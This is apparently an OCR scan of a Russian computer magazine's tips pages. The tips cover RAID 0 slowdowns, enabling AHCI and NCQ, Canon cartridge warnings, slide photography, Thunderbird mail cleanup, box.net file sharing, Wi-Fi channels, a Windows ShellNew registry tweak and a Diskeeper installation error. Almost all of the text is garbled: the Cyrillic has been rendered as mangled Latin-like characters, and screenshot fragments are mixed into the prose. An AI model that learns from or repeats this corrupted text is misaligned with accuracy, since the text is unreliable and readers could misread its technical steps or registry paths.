AJin 3aMeHBi onTHMajiBHyio MO^ejiB 
xecTKoro AHCKa, 3arjniHHTe b 6ojibhioh 
TecT BHHnecTepOB Ha CTp. 88. TaM bbi 
Han^eTe TexHHuecKne xapaKTepHCTHKH 
aKTyajiBHBix xecTKHx ahckob, a Taioxe 
HHCjlOpMailHK) 06 HX dBICTpO^eHCTBHH. 
fljin toto hto6bi co3#aTB o6pa3 #HCKa, 
jiyunie Bcero ncnojiB30BaTB Linux — 
3flecB Heo6xoflHMan nporpaMMa Bcer^a 
noA pyKoii. fljin Windows mbi pexoMeH- 
% yeM nporpaMMHBin naKeT Paragon 
Hard Disk Manager. 


3 Hovt6vk 


06HOBneHue npouiiiBKii KapT-pi/inepa 


Hmodbi UMemb docmamonm Mecma dnn 
(pomospacpuu, eu Kynwiu Kapmy naMnmu 
SD odbeMOM 2 T6aum. OdnciKO ycmpouc- 
meo dnn nmenuH Kapm ncuviHmu, ecmpoen- 
noe e earn noymdyK, omKa3bieaemcH pac- 
no3naeamb menu nocumeAb. 


IKl]:m npOH3BOAHTeJIH nepBBix KapT 
naMnTH SD npocTO He MorjiH cede 
npeACTaBHTB, hto Kor^a-midyAB dy^yr 
AOCTHrayTBi odBeMBi BBinie 1 rdaiiT. 
Enje MeHBine 3a,ayMBiBajiHCB od otom 
npOHTBOAHTeJIH CHHTBIBaiOniHX yCT- 
POhctb. nooTOMy MHorne CTapBie MO#e- 
jih He pacno3HaiOT KapTBi naMHTH dojn>- 
inoii eMKOCTH. BanieMy KapT-pH^epy 
HyxHa HOBan nponiHBKa. nepByio 
nonBiTKy noncKa jiyunie Bcero c^ejiaTB 
Ha cairre np0H3B0AHTejra HoyTdyKa: b 
pa3#ejie «Downloads» no# ccbijikoh c 
MO^ejiBio Bainero KOMnBiOTepa aojixhbi 
dBiTB npHBe#eHBi nponiHBKH rjiz BCTpO- 
eHHoro KapT-pH^epa. Ecjih He noBe3eT, 
npOBepBTe, HeT jih nponiHBKH aHa- 
jiothuhoto ycTpoiiCTBa. Ecjih y npOH3- 
BOAHTejin HoyTdyKa noAxoAHmero npo- 
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rpaMMHoro odecneueHHH HeT, noceTH- 
Te Be6-caHT npoH3BOAHTejm mrraiome- 
ro ycTpoftcTBa. Ha3BaHHe cjmpMBi 
bbi Han^eTe b flncneTuepe ycTponcTB 
(cm. CKpHHinoT). Oh OTKpBiBaeTCH 
uepe3 «Moh KOMntioTep | CBOHCTBa | 
06opyAOBaHHe». 


RAID 0 


PemaeM npo6neMy ckopoctn 


TumameAb CHIP npuodpen dea eumec- 
mepa SATA npou3eodcmea Seagate, nmodbi 
ucnoAb3oeamb ux c MamepuncKou mamou 
MSI e dbicmpoM peotcujvie RAID 0. Odnaxo 
C HOMOUibW pa3AUHHblX demMapKoe OH 
euncHUA: Maccue U3 deyx Mcecmxux duc- 
Koe ne daem u noAoeumi CKopoemu odnoeo 
omdeAbHO 63nmoeo eumecmepa Seagate 
Barracuda 7200.10. 


flMArH03 


| IlepBaii npOBepKa nojiHOCTBio 
noATBepxAaeT HHcjiopMaAHio Harnero 
HHTaTejiii. IlporpaMMa CHIP Diskbench 
noKa3BiBaeT, hto ckopoctb htchhh 
KOJ iebjieTCH ot 20 ao 40 M6aifr/c, b to 
B peMH KaK o 6 bihho BHHuecTepBi 
Barracuda BBiAaiOT 6ojiee 60 Mdaifr/c. 
Hto 6 bi hckjhohhtb BjiHiiHHe onepaijH- 
OHHOH CHCTCMBI, yCTaHOBJieHHOH Ha 
RAID-flHCKax, mbi BCTpaHBaeM b KOM- 
nBiOTep TpeTHH xecTKHH ahck h Konn- 
pyeM Ha Hero onepau;HOHHyio CHCTeMy. 
3aTeM mbi 3arpyxaeM KOMnBiOTep c 
3Toro AHCKa h bhobb H 3MepneM cko- 
POCTB HTeHH H, a 3 aO£HO H 3anHCH. 
nojiyuaeM oueHB HH3KHe 3HaueHHn — 
ot 20 ao 40 M6aifr/c. 


a j 

0 ” MQHMTOpbl 

@ j MbiLUM n MHwe yraiw&awmHe ycT| 
+ *0 npoueccopbl 

0 CeTOBbB n.n-dTfcJ 
+ CkicTeMHbffi 1 ycTpoHcrea 
+ ^ TOMa SanOMMHiiOaUtX yCTpQMCTB 
0 *1 ycTpoKCTMnaHfiTMKFlClA ii Fla 
( jj Texas ]retrumenits) Kixx 12 In 


KoMntK>Tep 

KoHTpo.n.nepH ymsepMObHOM noi 
MoaeMbt 
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KAPT-PI/lflEP 


l/livm npoM3BOflme- 
MT r .. J jib ycipoMCTBa flnB HT6HMB KapT na- 
mbtm yKa3aH0 b flHcneinepe ycipowcTB 


TenepB mbi npOBepneM HacTpOHKH 
RAID. EAHHCTBeHHBiH peryjiHpyeMBiii 
napaMeTp — pa 3 Mep djioKa RAID- 
stripe — cooTBeTCTByeT CTaH^apTy h 
cocTaBjineT 128 KdaiiT. Ero H 3 MeHeHHe 
hh Ha hto He BjiHueT. Kor^a mbi pa 3 dn- 
paeM RAID-MaccHB h npoBOAHM otac- 
JIBHBie H3MepeHHH Ha nepBOM XeCTKOM 
AHCKe, nojiyuaeM oxcHAaeMyio cko- 
pocTB — CBBirne 60 Mdaifr/c. HaKOHeij, 
mbi ycTaHaBjiHBaeM Matrix Storage 
Manager, nporpaMMy ot Intel ajih 
ynpaBjieHHn RAID-MaccHBaMH. Tomac 
ace noHBjraeTCH coodmeHne 06 ornndKe 
SMART Ha btopom RAID-AHCKe, koto- 

pOe HaBOAHT HaC Ha MBICJIB H 3 MepHTB 

ero ckopoctb. OHa cocTaBjmeT Bcero 
10—20 Mdaifr/c. 

IJ jin 1 \\ \1 Btopoh ahck HencnpaBeH, 
nooTOMy oh chjibho topmo 3 ht padoTy 
RAID. nO-BHAHMOMy, oh Bee paBHO 
CKopo BBimeji 6 bi H 3 CTpon. Ecjih 
6 bi b BIOS 6Buia BKjnoneHa cjiyHKiiHH 
SMART, Ham unraTejiB a^bho cmo r 6 bi 

nOCTaBHTB 3TOT AHaTH03 CaMOCTOHTeJIB- 
ho. Mbi oOMeHHBaeM acecTKHH ahck y 
npOH3BOAHTejiH h nojiyuaeM ot RAID- 
MaccHBa oxHAaeMBie 120 Mdaifr/c. 


5 >KecTKne ahckh SATA 


flonofiHMTeiibHO aKTUBupyeM NCQ 


Ha eauieM KOMHbwmepe c nuncemoM Intel 
u mecmKUM Ouckom SATA ycmanoeAen 
Windows XP u MHOitcecmeo dpyeux npu- 
AOJfcenuu. Ecau odmepeMenm padoma- 
wm necKOAbKO npoepaMM, mpedywutux 
unmencueHoeo odMena uH(popMau,ueu c 
jtcecmKUM ducKOM, nanpuMep epacpunec- 
Kue npuAOJtceHUA, backup u anmueupyc, 
KOMnbwmep cmameumcH 3HanumeAbH0 
MedAennee. Bu xomume ycKopumb pado- 
my npu noMow,u (pyHKi^uu «Native 
Command Queuing». 


Ecjih nocTonHHoe btahmoachc - 

TBHe C aceCTKHM AHCKOM TOpM03HT KOM- 
nBiOTep, 3 to 3HauHT, HTO, CKOpee Bcero, 
b BIOS He aKTHBHpoBaH napaMeTp 
«Advanced Host Controller Interface» 
(AHCI) SATA-nopTa. B pe3yjiBTaTe one- 
paAHOHHan CHCTeMa He momqt ncnojiB- 
30BaTB yBeJIHHHBaiOmyiO npOH3BOAH- 

TejiBHOCTB cfiyHKHHK) «Native Command 
Queuing» (NCQ). NCQ npn noMomn 

OnTHMH3au;HH KOMaHA MHHHMH3HpyeT 



n inmfil Bm 6 Cto Toro HTOdbi flaTb npn6aBKy 

B CKOPOCTM, HeilCnpaBHblM flMCK, yCTaHOBJieHHbIM 
b RAID, MeiuaeT QBoeMy dnnsHeuy m topmosmt padOTy 


ABHxceHHn nHmymeH h cuHTBiBaiomen 
tojiobok. PexHM AHCI moxho bkjiio- 
hhtb b BIOS, ho nocjie 3 toto nepecTaeT 
3arpyacaTBCH Windows. PeKOMeHAaiinn 
Intel h Microsoft 3BynaT cjieAyiomHM 
o6pa30M: CHanajia aKTHBHpyiiTe AHCI, 
3aTeM nepeycTaHaBjiHBaHTe Windows h 
A pyrne npiuioxeHHH. 

HeGojiBman xhtpoctb noMOxeT 
ynpocTHTB h ycKOpHTB 3Ty npou;eAypy: 
coBpeMeHHBie MaTepHHCKne njiaTBi c 
unnceTaMH Intel 3 auacTyio ocHameHBi 
RAID-KOHTpojuiepaMH c pa 3 BeMaMH 
SATA (nocMOTpHTe b pyKOBOACTBe no 
3KcnjiyaTaiiHH, TAe HaxoAHTcn coot- 
BeTCTByioiAHe pa 3 BeMBi). Ecjih Bama 
CHCTeMa yAOBjieTBOpneT 3TOMy Tpe 6 o- 
BaHHIO, BKJIIOHHTe RAID-KOHTpOJIJiep 
b BIOS (b pa 3 Aejie «Integrated 
Peripherals»). 3 arpy 3 HTe CHCTeMy c 
aKTHBHBIM RAID-KOHTpOJIJiepOM H 
npn HeodxoAHMOCTH ycTaHOBHTe Apaii- 
BepBi c KOMnaKT-AHCKa, npnjiaraioiAe- 
toch k MaTepHHCKOH njiaTe. nocjie 
3T0T0 BBIKJHOHHTe KOMnBiOTep H npH- 
COeAHHHTe CHCTeMHBIH ahck K RAID- 
KOHTpojuiepy, a He BCTpoeHHOMy koht- 
pojuiepy unnceTa. Bhobb 3anycTHTe 
KOMnBiOTep h aKTHBHpyiiTe b BIOS 
pexcHM AHCI ajih SATA-KOHTpojuiepa — 
TaKace b integrated Peripherals». nocjie 
3 toto Windows pacno 3 HaeT HOBoe 060 - 
pyAOBaHHe h noTpedyeT ApaiiBepBi. 
YCTaHOBHTe HX C KOMnaKT-AHCKa, npH- 
jiaraioiAerocH k MaTepHHCKOH njiaTe. 

Eme pa3 bbikjhohhtc KOMnBiOTep 
H nOAKJHOHHTe JKeCTKHH AHCK K H3Ha- 
najiBHO HcnojiB30BaBmeMycii koht- 
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am? TIPPS & TRICKS 



5 f: KWiUK WMMHWi fl/ifl yCKopeHMfl 
padorbi BMHHeciepa HeoOxoflwvio, 
HTOdbl B BIOS 6blJl BKJIKJHeH pe)KHM AHCI 


pojuiepy. Ilocjie ototo OC Windows 
GyaeT 3 arpy 3 caTBcn b pexHMe AHCI h 

CMOXeT HCn 0 JIB 30 BaTB B 03 M 0 XCH 0 CTH 

NCQ. Ecjih Ha Baineil MaTepHHCKOH 
njiaTe HeT aonojiHHTejiBHoro RAID- 
KOHTpojuiepa, ajih otoh npoijeaypBi 
MOXCHO HCn 0 JIB 30 BaTB H SATA-PCI- 
KapTy. B 3 aBHCHMOCTH OT npHJIOXeHHH 
3 TOT MQTOR n 03 B 0 JI 5 ieT aoGHTBCH 5 — 10- 
npoijeHTHOH npndaBKH k ckopocth. 


YcTpaHsieM omu6oHHoe coo6meHue 


HecKOAbKO dneu na3ad eu ycmanoeuAU na 
Canon BJC-6000 menu (pupMennuu xap- 
mpudwc u c mex nop nanenamaAu ecezo 
necKOAbKO cmpanuii . HecMompn na omo, 
npunmep yotce nanaA npedynpeotcdamb eac 
o moM, nmo KomawmcH Hepnma. 


nponaaeT. 3 tot cnoco 6 moxho npn- 
MeHHTB ao Tex nop, noKa nepmuia aeiic- 
TBHTeJIBHO He KOHHaTCH. 

npexae neM npOH3BoaHTB 
BBimeonHcaHHbie aencTBHH, H 3 BjieKHTe 
KapTpHA^c H 3 npHHTepa h yGeaHTecB b 
tom, hto b pe 3 epByape aencTBHTejiBHO 
ecTB nepHHjia. HHane cymecTByeT onac- 
hoctb toto, hto rojiOBKa GyaeT nena- 
TaTB «nocyxy», hto MOxeT npHBecTH k 
ee nojiOMKe. Mex^y nponHM, b hobbix 
K apTpH^xax aJin nocjieaHHx Moaejieii 
CTpyHHBix npHHTepOB Canon BMecTO 
onTHnecKoro HcnojiB 3 yeTcn pacxoao- 
MepHBIH a aTHHK. 


BBBE5 

(DoTorpac|)npyer/i cnauflbi 


Hah eameu eed-cmpanui^bi nywcno oi^im})- 
poeamb necKOAbKO CAaudoe, no noKynxa 
CKanepa co CAaud-adanmepoM ne exodum 
e eauiu manu. Ecmb doAee npocmoe u 
deuieeoe pemenue. 


IHi]:]3l CcpOTorpacpHpyHTe Banin cjian- 
#Bi Ha iincppOBOH (jDOToannapaT. jih 
3toto cnpoeiiMpyirre hx b tcmhoh kom- 
HaTe Ha 3KpaH. YcTaHOBHTe niHpHHy 
H3o6paxeHHn okojio 70—100 cm h 
BBiGepHTe anacppamy 5,6 hjih 8. 
OnTHMajiBHBin pe3yjiBTaT bbi nojiywre, 
ecjiH cpoTOKaMepa GyaeT pacnojioxceHa 
CTporo napajuiejiBHO njiocKOCTH 3Kpa- 
Ha — jiynine Bcero jxnn 3toto Hcnojn>30- 
BaTB IHTaTHB. HtoGbI npH CBeMKe 
HCKJHOHHTB apOXCaHHe pyK, HCnOJIB3yH- 

Te jih6o aBTOMaTHnecKHH, jih6o an c- 
TaHijHOHHBiH cnycK. 


MAKPOChEMKA 


| Hiodbi nepecHRTb 
U cjiaMflbi Ha UM(|]poByH) KaMepy, nyicHo 
clKTHBHpOBaTb peWMM M3KpOCbeiVlKH 


Mohcho nocTynHTB HHane. nojioxcHTe 
cjiaiia Ha ocBemeHHyio CHH3y MaTO- 
Byio CTeKjinHHyio njiacTHHy. BaxcHO, 
htoGbi (JiOToannapaT HMeji pexHM 
MaKpOCBeMKH. HeoGxoaHMO MaKCH- 
MajiBHO npH6jiH3HTBcn k cjianay: B 

3aBHCHMOCTH ot THna o6i>eKTHBa pac- 
CTOHHHe AOJDKHO COCTaBJIHTB OT 10 aO 

25 cm. Kaxon 6 bi MeToa bbi He BBiGpa- 
jih, npH^eTcn nosiccnepHMeHTHpo- 
BaTB c GajiaHCOM Gejioro. OGbihho 
H eoOxoflHM peacHM HCKyccTBeHHoro 
ocBemeHHn. Tojibko Tax yaaeTcn 
Ao6htbc5i tohhoh iiBeTonepe^ann. 
Bp na; jih c(J)OTorpa(J)HpoBaHHBie 
KaapBi GyaeT no KanecTBy cooTBeTC- 
TBOBaTB opHTHHajiy, OAHaxo aJin pa3- 
MemeHHn b HHTepHeTe ototo BnojiHe 
flOCTaTOHHO. KpOMe TOTO, 3TO ropa3- 
ao GbiCTpee, neM CKaHHpOBaHne nepe3 
cjiaHA-a^anTep. am? 




INTERNET 


BEEHl npHHTepBi Canon, Taxne xax 
BJC-3000 hjih BJC-6000, a Taioxe 6 ojib- 
ihhhctbo npHHTepOB S-Kjiacca jxjvh 
onpeAejieHHH nojiHOTBi KapTpHAxa 
HcnojiB 3 yiOT HeHaAexHyio onTHnecxyio 
CHCTeMy c npH 3 MOH. Kor^a ypoBeHB 
nepHHji b KapTpH^xe yMeHBinaeTcn, 
npHHTep no onmOxe HannHaeT BBma- 
BaTB npeAynpejKAeHnn h TpedoBaTB 
3 aMeHBi KapTpH^aca, HecMOTpn Ha to, 
hto HMeeTcn BnojiHe AOCTaTonHoe 
KOJinnecTBO nepHHji. 

npH noMoniH npocToro (JiOKyca npH- 
HTep MOvKHO Bee xe 3 acTaBHTB nena- 
TaTB: HaxMHTe Ha HeM KHonxy npOTnxc- 
kh GyMarn, h Ha^oe^JiHBoe cooGmeHne 


8 Thunderbird 


ABTOMaTMHecKoe yaaneHMe 

CTapON nOHTbl 

Kax aemoMamu3upoeambydaAenue nenywc- 
hou nonmbi e nonmoeoM KAuenme? 


B Thunderbird moxho peinaTB, xoTHTe jih 
bbi aBTOMaTnnecKH yaaJiHTB npHxoaHinyK) 


noHTy hjih na>Ke 3 aaaBaTB ycjiOBHH, npn 
KOTOpBix nncBMa aojhkhbi yaaJiHTBCH. 
K pa 3 HBiM nannaM bbi MOxeTe npHMe- 
HHTB pa 3 JIHHHBie HaCTpOHKH. /],JIH 3 TO- 
ro KjiHKHHTe npaBOH khohkoh no 
cooTBeTCTByiomeii nanxe, BBiGepHTe 
«CBoiicTBa» h nepehaHTe Ha BKjiaaxy 
«HaCTpOHKH xpaHeHHH cooGmeHHH». 
HtoGbi H 3 MeHHTB HaCTpOHKH, CHana- 
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jia Heo 6 xoAHMO otkjhohhtb onpHio 
«Hcnojn> 30 BaTi> napaMeTpbi cepBepa». 
TenepB bbi MOxeTe pernaTB, Hyxmo jih, 
hto6bi noHTa xpamuiacb onpeaejieHHoe 
BpeMH hjih hto6bi OHa yaajuuiacb, Koraa b 
namte «BxoamitHe» ckoiihtcb 3 aaaHHoe 
hhcjio nnceM. 3toto aKTHBHpyHTe 
onanio «yaajum> Bee, KpOMe nocjieaHHx 
X coo6meHHH» hjih «Ya;ajiHTB coodiae- 
hhh CTaprne X aneiU. BMecTO «X» b 
OKOHIKe BBOaa BnHHIHTe HyJKHyiO IIHCjlpy 
H HaXMHTe «OK». ABTOMaTHHeCKaH 
OHHCTKa He tojibko cnacaeT ot nepenoji- 
HeHHH HeHyxcHOH noHTOH, ho h noMora- 
eT 3 amHTHTb aaHHbie. Koraa Bbi BpynHyio 
OHHmaeTe KaTajior «YaajieHHbie», to cth- 
paiOTCH Bee nncbMa, aaxe nonaBHine 
Tyaa no oninGice. Koraa yaajiemie npo- 

HCXOAHT aBTOMaTHHeCKH, Bbi H36aBJieHbI 
OT TaKOH HenpHHTHOCTH. 


9 cpaMJiooCMeH 


Ucnonb30BaHiiie OHnauHOBbix 
cepBucoB aub o6MeHa flamibiivm 

B dojibmuHcmee cnynaee MajienbKue 
(pauAbi MOJtcHO omnpaejinmb npuAOdtcemi- 
eM k 3JieKmpoHHbiM nucbMdM. Ho Koeda ux 
pa3Mep 3auiKajiueaem 3a necKOAbKO Meea- 
6aum, M03ym eo3HUKHymb npodAeMbi. 
nonmoebiu cepeep MODfcem ne no3eoAnmb 
nepedaeamb nonmou maKue doAbuiue 
(ftauAbi, a pa36uenue (pamoe na nacmu 
mpedyem donoAHumeAbH030 epeMenu. 


Bair* hx. OmiaHHOBoe <J>aHjioBoe xpamuiH- 
me aaeT HecicojibKo ripen My mecTB. BaM 
6ojibine He HyxcHo hochib c co6oh USB 
cJtjt e llj - apart b , ecjin HeodxoariMO nepeHec- 
th (JiaHJibi c oaHoro KOMnbiOTepa Ha apy- 
toh, HanpHMep H3 aoMa b ocJihc, a Taioxe 
bbi CMOxeTe nojiynHTb aocTyn k cjiaHJiaM 
aaxce bo BpeMH nyTemecTBHH. 

/(jih Hanajia Heo6xoaHMO 3aperacTpnpo- 
BaTbCH Ha canre cepBnca. 3anaHTe no 
aapecy www.box.net/signup h Bbi6epHTe 
onuHio «Free», hto6bi nojib30BaTbcn cep- 
bhcom 6eciuiaTH0. 3a aenbra mojkho 
nojiynHTb aonojiHHTejibHbie ycjiym: 6 ojib- 
rne MecTa aJHi xpaHeHH h cjiaHJioB, noBbi- 
HieHHyiO CKOpOCTb H B03M0JKH0CTB aOCTy- 

na k (JianjiaM no napojuo. Tenepb BBeaHTe 
Bam e-mail h 3anojiHHTe rpacjiy «Password» . 
ITocjie perncTpaann bbi CMonceTe 3ajiora- 
hhtbch h HanaTb 3aKaHHBaTb aaHHbie. 


Ecjih nojiynarejib yace HMeeT aiacayHT Ha 
box.net, bbi MonceTe HanpHMyio OTnpaBHTb 
eMy cjiaHJibi. B hpothbhom cjiynae bbi 
aojDKHBi OTnpaBHTb eMy no e-mail npnrjia- 
meHne aaa perncTpaunn. /(jih ototo kjihk- 
HHTe no CTpejnce pnaoM c HMeHeM (Jiaiuia h 
b MeHio Bbi6epHTe «Send to Friend» 
(OTnpaBHTb apyry). B cjienyioiueM OKHe 
BBeaHTe e-mail nojiynaTejin, KjiHKHHTe no 
KHonxe «Message» h, ecjin HeodxoaHMO, 
BBeaHTe tckct. HaxoHea, HaxMHTe Ha 
KHonxy «Send File». C noMombio nyHKTa 
Memo «GET PUBLIC LINK» mojkho cae- 
jiaTb (Jiaiui aocTynHbiM jsjm Bcex. Ilocjie 
Bbidopa 3 toh ormrrrr bbi nojiynHTe npHMyio 
ccbuiKy Ha cjiaHJi. Bbidepnre «Email Link», 
hto6bi OTnpaBHTb URL 3HaK0MbiM no 
noHTe. HTo6bi ydpaTb cjjaiijibi H3 o6uiero 
aocTyna, Bbidepnre ero h KjiHKHHTe 
«Deactivate». am? 


3arpy3HTe cjiarijibi Ha decroiambie OHjiaii- 
HOBbie xpaHHjimaa, Taicne xax, HanpHMep, 
www.box.net, n pa3pemHTe apyrHM CKann- 




COMMUNICATIONS 


10 EecnpoBQflHbie cem 


0nTNMN3upyeM paflNOKaHaii 

H ycmanoeuA doMa decnpoeodnou Mapui- 
pymu3amop umchho max, xax coeemoeaAU 
cneiiuaAucmbi wcypnaAa CHIP, mo ecmb 
noeecuA eucoxo na cmene u nanpaeuA 
anmenny enu3 houckocok. Odnaxo 6ec- 
npoeodnaH cemb (pyrnapiOHupyem co cped- 
neu CKopocmbto u na moaou Moipnocmu 
cusnaAa — ne3aeucuM0 om mo30, ede 
HaxodnmcH MauiuHbi-KAuenmbL *Imo nped- 
npummb e omou cumyai^uu? 


B HeKOTOpbix cjiynanx npodjieMa KpoeTca 
b cjieayiomeM: oaHa decnpoBoaHan ceTb 
nepeKpbiBaeTCH apyroii, padoTaioiaen Ha 
toh ace caMOH nacTOTe. Hto6bi odecne- 
HHTb HOpMaJIbHOe 4)yHKHHOHHpOBaHHe 
coceacTByioianx 6ecnpOBoaHbix ceTeii 
ajw cTaHaapTa IEEE 802. 1 lg, npeayc- 
MOTpeHo 13 KaHajiOB b nacTOTHOH nojioce 
1,4 rra. 3toto aojHKHO 6bitb aocTaTOH- 
ho, oaHaxo 6ojibhihhctbo Mapmpym3a- 
TopoB no yMOJinaHHio HacTpoeHbi Ha 6-h 
hjih 11-h KaHaji, b neM bbi MoxeTe y6e- 
aHTbCH, OTKpbIB COOTBeTCTByiOiayiO 


s±\ 
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SOFTWARE 


12 Windows XP 


Co3flaHue tyawiOB mo6oro Ti/ma 
nepe3 KomeKCTHoe Memo 


B Mento «0aw i» IIpoeodnuKa Windows 
mu KonmeKcmHOM Memo ecmb KOMcmda 
«Co3damb», noseojimouiciH cdeAamb nyc- 
mou (pam u 3adamb eMy umm. OdnciKO 3ma 
KOMcmda cyu^ecmeyem moAbKO dAH doxy- 
Menmoe e maKux (popMamax kcik DOC , 
XLS u m. n. IIonpodyeM pacuiupumb 
odAacmb noAe3noeo npuMenenuH omou 
(pyHKU,uu. flonycmuM, eaM neodxoduMO 
dbicmpo co3daeamb cpauAbi uiadAona Word 
(pacuiupenue DOT). 


Bbl MOXeTe BKJIKDHHTb 3iy OnUHK) Henoc- 
peACTBeHHO uepe3 peecTp. OTKpoftTe 
pe^aicrop regedit h nepeft^HTe b BeTKy 
ElKEYCLASSESROOT. Haftmrre b Heft 
pa3fleji .dot h BbidepHTe ero. IlpoBepbTe 
3HaneHHe ctpokh «Ilo yMOJiuamno* b npa- 
Boft nacTH oKHa. Ecjih 3anaHO 3HaueHHe, 
HanpHMep, Word.Template.8, nepeftanre b 

OAHOHMeHHblft nO£pa 3 £eJI. B npOTHBHOM 
cjiynae ocTaBaftTecb b TeKymeM Kjnone. 
IlpoBepbTe, cymecTByeT jih b noflpa3flejie 
napaMeTp ShellNew. Ecjih HeT, co3Aaftre 
ero, BbidpaB «IlpaBKa | Co3flaTb | Pa3fleji». 
riepeft^HTe b npaByio nacTb OKHa h Bbide- 
pHTe «IlpaBKa | C03#aTb | CTpOKOBblft 
napaMeTp». npHCBoftre eMy hmh NullFile 
h He 3ajiaBaftTe HHKaKoro 3HaueHHH. 
3aKpoftre pe^aicrop peecTpa h nepe3arpy- 



Qdrucy 

3 flpflblK 


_j flopT<t»8J1b 

Microsoft Word Document 


i! Microsoft Word Template 


HOBblE TMnbl 0 AI 1 J 1 OB 


Bbicrpoe C 03 flamie 
MX3 cfjaftjiOB Hy>KHbix eaM throb mcdkho flo6aBHTb 
B KOHTeKCTHOe MeHHD flpOBOflHIlKa 


3HTe Windows. Tenepb aonoji h htcji bH an 
KOMaH^a «Oaftjr | Co 3 jiaTb | LLIadjiOH 
Microsoft Word» dyneT ^ociymia. 

BMecTO C03,aaHH5i nycToro cjiaftjia bh 
Taicace MO^ceTe KonHpOBaTb cymecTByio- 
uiym madjiOH hjih Bbi3biBaTb HyxHyio 
KOMaH^y. fljin 3Toro b peecTpe co3#aft- 
Te CTpOKOBblft napaMeTp c HMeHeM 
FileName BMecTO NullFile. 3aTeM, ^Bax- 
Abi KjiHKHyB no HeMy, yKaxnre hmh 
xejiaeMoro ijejieBoro cjiaftjia, HanpHMep 
Normal.dot. He 3adyzp>Te bbccth noji- 
Hbift nyTb k (Jiaftjiy. 

flpyran B03M03CH0CTb — ^odaBHTb b 
peecTp onrono, Bbi3biBaiomyK) KOMaH^y, 
KOTOpan C03flaeT HOBbift cjiaftji. fljin 
3Toro co3£aftTe CTpOKOBblft napaMeTp c 
HMeHeM Command BMecTO NullFile h b 
CTpOKy 3HaneHHH BBe^HTe HyxHyio koh- 
cojibHyio nporpaMMy. 


13 Diskeeper 


OiuuOKa npn ycTaHOBKe nporpaMMbi 


Bo epeMH ycmanoeKu npoepaMMbi Diskeeper 
eueodumcn okho c coodu^enueM 06 ouiudxe c 
KodoM 1920 \ nocAe neeo uHcmcuiAHupn npe- 
Kpau^aemcn. Kan peuiumb omy npodAeMy? 


CymecTByeT hcckojibko npHHHH bo 3 hhk- 
HOBeHHH TaKoft oniHdKH: OTKjnoneHHan 
cjiyncda HcypHajiHpOBaHHH (Event Fog), 

CHCTeMa MOxeT He noHHMaTb fljiHHHbie 
HMeHa nanoK npn nonbiTKe 3 anycTHTb 
cjiyacdy Diskeeper, TaioKe Moryr MemaTb 
Apyrae nporpaMMbi. nepBbiM #ejiOM y#a- 
jiHTe, ecjiH HeodxoAHMO, CTapyio Bepcmo 
nporpaMMbi h nonpodyftTe no ouepe^H 
npHMeHHTb nanTH coBera no pemeHnio 
3 Toft npodjieMbi. 

ydeaHTecb, mto c.iyadia Event Log 3 anyc- 
KaeTcn aBTOMaTMMecKM. 

Bbidepnre «nycx | HacTpoftKa | naHejib 
ynpaBjieHHH | AaMHHHCTpHpOBamie | 
Cjiy3c6bi». /],Ba3cabi KjiHKHHTe no cepBncy 
Event Fog n Ha o6enx BKjia/ncax BbiCTaBb- 
Te «Abto» b Bbina^aiomeM Memo. 
nepe3arpy3HTe Windows. 



06iMHe I Bxofl b CHcreMy | BoccraHOB/ieHMe | 3aBMCMM0CTM 


Fast User Switching. 
%FLEXnet Licensing S, 
% Google Updater Ser, 
%Help and Support 
%HID Input Service 
*%HTTP SSL 
%IMAPI CD-Burning C 
% Indexing Service 
%InstallDriver Table 
% Intel NCS NetService 
%iPod Service 
%IPSEC Services 
I ^Logical Disk Manager 


Mms c/iyx<6bi: 


BbiBOflMMoe mma: p ven ^ *-°9 


OnucaHHe: Windows-based programs and components 

viewed in Event Viewer. This service cannc 


Hcno/ihfleMbifr <pafl/r: 


|CAWI N D OWS \system32\ser vices, exe 
Inn 3anycKa: 


CocTOflHMe: 


Omi/IBKA B YCTAHOBKE DISKEEPER 


MHCTa/i- 

IXJ i \ r\\m flec|)parMeHTaTopa mombt noMemaTb 
OTKJiKJHeHHbiii cepBMC Event Log 


Ecjih nocjie nepBoro cnocoda Diskeeper 
Bee >xe He 6 bui ycTaHOBjieH , to ynajinTe 
KEY FOCAL_MACHINE\SYSTEM\ 
CurrentControlSet\Services\Diskeeper b 
peecTpe. nocjie 3Toro hcoOxoahmo nepe- 
3arpy3HTb Windows. 3anycTHTe HHCTajuin- 
itnio Diskeeper. CepBnc Diskeeper aoji- 
3CeH nOHBHTbCH B CnHCKe «nyCK | 
HacTpoftxa | naHejib ynpaBjieHHH | 
AaMHHHCTpnpOBaHHe | Cjiy3c6bi». Ecjih 
H eT, to eme pa3 3anycTHTe HHCTajura- 
h;hio. Kor,aa hohbhtch okho c 1920-ft 
omndKoft, He 3aKpbiBaa ero, oiKpoftre Bee 
tot xe cnncoK cepBHCOB Bbi^ejiHTe 
Diskeeper h HaacMHTe «Start». Ecjih cepBHC 
He 3anycKaeTC5i, Tax >xe, He 3aKpbiBaa OKHa 
c omndKoft, OTKpoftre pe^aicrop peecipa. 
B BeTKe HKEY_LOCAL_MACHINE\ 
SYSTEM\CurrentControlSet\Services\ 
Diskeeper ABa^sbi KjiHKHHTe no Kjnony 
ImagePath h aodaBbTe aBoftHbie KaBbiHKH 
(“) b Hanajie h KOHu;e ctpokh. flajiee, He 
3aKpbiBan okho c onmdKoft, b cepBHcax 
onaTb HaxMHTe «Start» Ha Diskeeper. 

KopoTKne HMeHa b nyra k nporpaMMe. 

Ecjih npeAbmymne cnocodbi He noMor- 
jih HcnpaBHTb npodjieMy, nonpodyftTe 
npn HHCTajunmHH 3a,aaTb cjie^yiomHft 
nyTb ycTaHOBKH C:\Program Files\ 
Execsoft\Diskeep. Hjih jnodoe ttpyroe 
hmh KaTajiora — jinmb dbi oho dbuio b 
«KOpOTKOM» (J)OpMaTe 8.3. 

CepBHCbi Apyrnx nporpaMM MemaiOT 
ycTaHOBKe Diskeeper. 

HacTO cepBHCbi aHTHBHpycHbix npo- 
rpaMM, Taiarx KaK Symantec hjih McAfee 
Moryr MemaTb HHCTaiuiHHHH, no3TOMy hx 
cjieayeT yaajruTb. YcTaHOBHTe Diskeeper h 
yCTaHOBHTe 3aHOBO aHTHBHpyCbl. H3I? 
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WIRELESS SETTINGS 


EojibwiiHCTBO decnpo- 
I BOAHbix MapLiipyTH 3 aTopoB no yMonHaHmo Ha- 
I cipoeHbi Ha 6 -m mum 1 1 -m KaHan 
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Good Good 353, 


Sfpni SlfFtjjh 


3 axjia,axy b HacTpoiixax CBoero poyrepa. 
B pe 3 yjiBTaTe MOxceT nojiyuHTbca Tax, hto 
becnpoBOAHan ceTB no coce^CTBy H 3 Jiy- 
naeT pa£HOBOJiHBi Ha toh xce uacTOTe n 
